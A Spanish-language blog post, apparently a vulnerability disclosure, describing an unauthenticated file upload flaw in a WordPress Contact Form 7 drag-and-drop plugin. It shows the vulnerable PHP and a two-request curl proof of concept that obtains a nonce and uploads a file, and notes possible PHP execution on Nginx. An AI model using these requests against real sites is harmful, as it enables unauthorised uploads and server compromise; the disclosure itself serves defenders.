Subida de Archivos sin Autenticación en CF7 Drag & Drop: Dos Peticiones para Comprometer el Servidor

CF7 Unauthenticated Upload 2 Step Attack Chain v2

En esta entrada comparto un hallazgo reportado al programa Wordfence Intelligence bajo el ID #447097. Afecta al plugin Drag and Drop Multiple File Upload for Contact Form 7 en versiones iguales o menores a la 1.3.9.6. Como siempre, todos los dominios reales y datos sensibles han sido anonimizados.

Esta vulnerabilidad es especialmente crítica porque no requiere ningún tipo de autenticación: cualquier visitante anónimo puede explotar el plugin en dos simples peticiones HTTP para subir archivos arbitrarios al servidor.

Unauthenticated File Upload - 2 Step Attack Flow Diagram CF7 Plugin
Diagrama del flujo de ataque en 2 pasos: bypass de nonce + subida de archivo sin autenticación

¿Cómo funciona el ataque?

El plugin expone dos handlers AJAX registrados bajo wp_ajax_nopriv_, lo que significa que son accesibles sin estar autenticado. Al encadenarlos, un atacante obtiene acceso de escritura al sistema de archivos del servidor en exactamente dos peticiones.

Paso 1 — Obtener un nonce válido sin autenticarse

El handler dnd_wpcf7_nonce_check() contiene un fallo lógico crítico: cuando el nonce enviado es inválido, en lugar de rechazar la petición, la función genera y devuelve un nonce nuevo y válido al solicitante. Esencialmente, el código que debería bloquear al atacante termina entregándole exactamente lo que necesita para continuar.

La única «protección» adicional es un bloqueo por User-Agent que busca la cadena curl — trivialmente sorteado usando cualquier User-Agent que simule un navegador real.

Paso 2 — Subir el archivo usando el nonce obtenido

El handler dnd_upload_cf7_upload() solo verifica que el nonce sea válido antes de procesar el archivo. No existe ninguna llamada a is_user_logged_in() ni a current_user_can(). Una vez que el atacante tiene el nonce del Paso 1, puede subir cualquier archivo al servidor con total libertad.

El Fallo en el Código

CF7 Drag and Drop plugin logic flaw - inverted nonce check vulnerability
El fallo lógico en el código PHP: condición invertida que entrega un nonce válido al atacante

El problema está en la condición invertida de dnd_wpcf7_nonce_check(). Lo que el desarrollador probablemente intentó hacer fue: «si el nonce es inválido, rechaza la petición y genera uno nuevo para el formulario». Pero el resultado fue lo opuesto: cuando el nonce falla, la función devuelve el nuevo nonce en la respuesta JSON, accesible por cualquiera.

// inc/dnd-upload-cf7.php — El bug: condición invertida
function dnd_wpcf7_nonce_check() {
    // Protección trivial: solo bloquea si el UA contiene "curl"
    if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
        wp_send_json_error('Request blocked: cURL access is forbidden.');
    }

    if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
        // ⚠ BUG: nonce inválido → devuelve un nonce válido al atacante
        wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
    }
}

// El handler de subida — la única defensa es el nonce (ya comprometido)
function dnd_upload_cf7_upload() {
    if( ! check_ajax_referer( 'dnd-cf7-security-nonce', 'security', false ) ) {
        wp_send_json_error('The security nonce is invalid or expired.');
    }
    // Sin is_user_logged_in() — sin current_user_can() — sin ninguna verificación de auth
    // El archivo se escribe directamente: move_uploaded_file( $tmp_name, $upload_path )
}

Prueba de Concepto (PoC)

El siguiente flujo de dos peticiones demuestra la vulnerabilidad. No se necesitan cookies, tokens de sesión ni credenciales de ningún tipo.

Petición 1 — Obtener el nonce sin autenticarse

curl -s   -X POST "https://[TARGET]/wp-admin/admin-ajax.php"   -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"   -H "Content-Type: application/x-www-form-urlencoded"   -d "action=_wpcf7_check_nonce&_wpnonce=INVALID"

# Respuesta del servidor:
# {"success":true,"data":"8eeed19624"}

Petición 2 — Subir un archivo usando el nonce obtenido

curl -s   -X POST "https://[TARGET]/wp-admin/admin-ajax.php"   -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"   -F "action=dnd_codedropz_upload"   -F "security=8eeed19624"   -F "form_id=1"   -F "upload_name=file-upload-field"   -F "[email protected];type=image/jpeg"

# Respuesta del servidor:
# {"success":true,"data":{"path":"wpcf7-files","file":"poc.jpg"}}

El archivo subido queda inmediatamente accesible públicamente via HTTP en la ruta /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{filename}.

Impacto

CF7 Drag and Drop plugin unauthenticated upload impact analysis
Análisis de impacto: malware hosting, disk exhaustion, y RCE potencial en Nginx

La severidad de esta vulnerabilidad es Crítica. Los escenarios de ataque posibles incluyen:

  • Distribución de malware: el servidor puede ser utilizado para alojar y servir archivos maliciosos (.doc, .pdf, .xls con macros embebidas) desde un dominio legítimo, habilitando campañas de phishing.
  • Agotamiento de disco: un atacante puede automatizar subidas masivas de archivos para llenar el almacenamiento del servidor y derribar el sitio.
  • RCE potencial en Nginx: el archivo .htaccess que bloquea la ejecución de PHP solo funciona en servidores Apache. En Nginx este archivo es ignorado completamente. Si un formulario CF7 está configurado con filetypes:* y la blacklist del admin no incluye .php, un archivo PHP puede ejecutarse directamente desde su URL pública.

Blacklist Incompleta

La blacklist codificada en la línea 927 del plugin bloquea: phar, svg, php5, php7, php8. Sin embargo, no están bloqueadas: .php, .php3, .php4, .phtml — extensiones que son ejecutadas como PHP en la mayoría de servidores, especialmente en Nginx donde el .htaccess no aplica.

Conclusión

Este es un caso clásico de broken access control combinado con un logic flaw en la implementación de seguridad. El desarrollador creó un mecanismo de nonce pensando que protegía el endpoint de upload, pero la condición invertida en la verificación convirtió ese mecanismo en un dispensador gratuito de nonces válidos para cualquier atacante anónimo.

La corrección debe incluir: eliminar el bloque que genera nuevos nonces ante verificaciones fallidas, agregar una llamada a is_user_logged_in() en el handler de upload, y ampliar la blacklist de extensiones a incluir .php y variantes.

El reporte fue enviado a través del programa de Wordfence Intelligence y el equipo del plugin fue notificado.


Reporte #447097 — Wordfence Intelligence Vulnerability Submission | Programa público de Bug Bounty

,

0 0 votes
Article Rating
Subscribe
Notify of
guest
0 Comments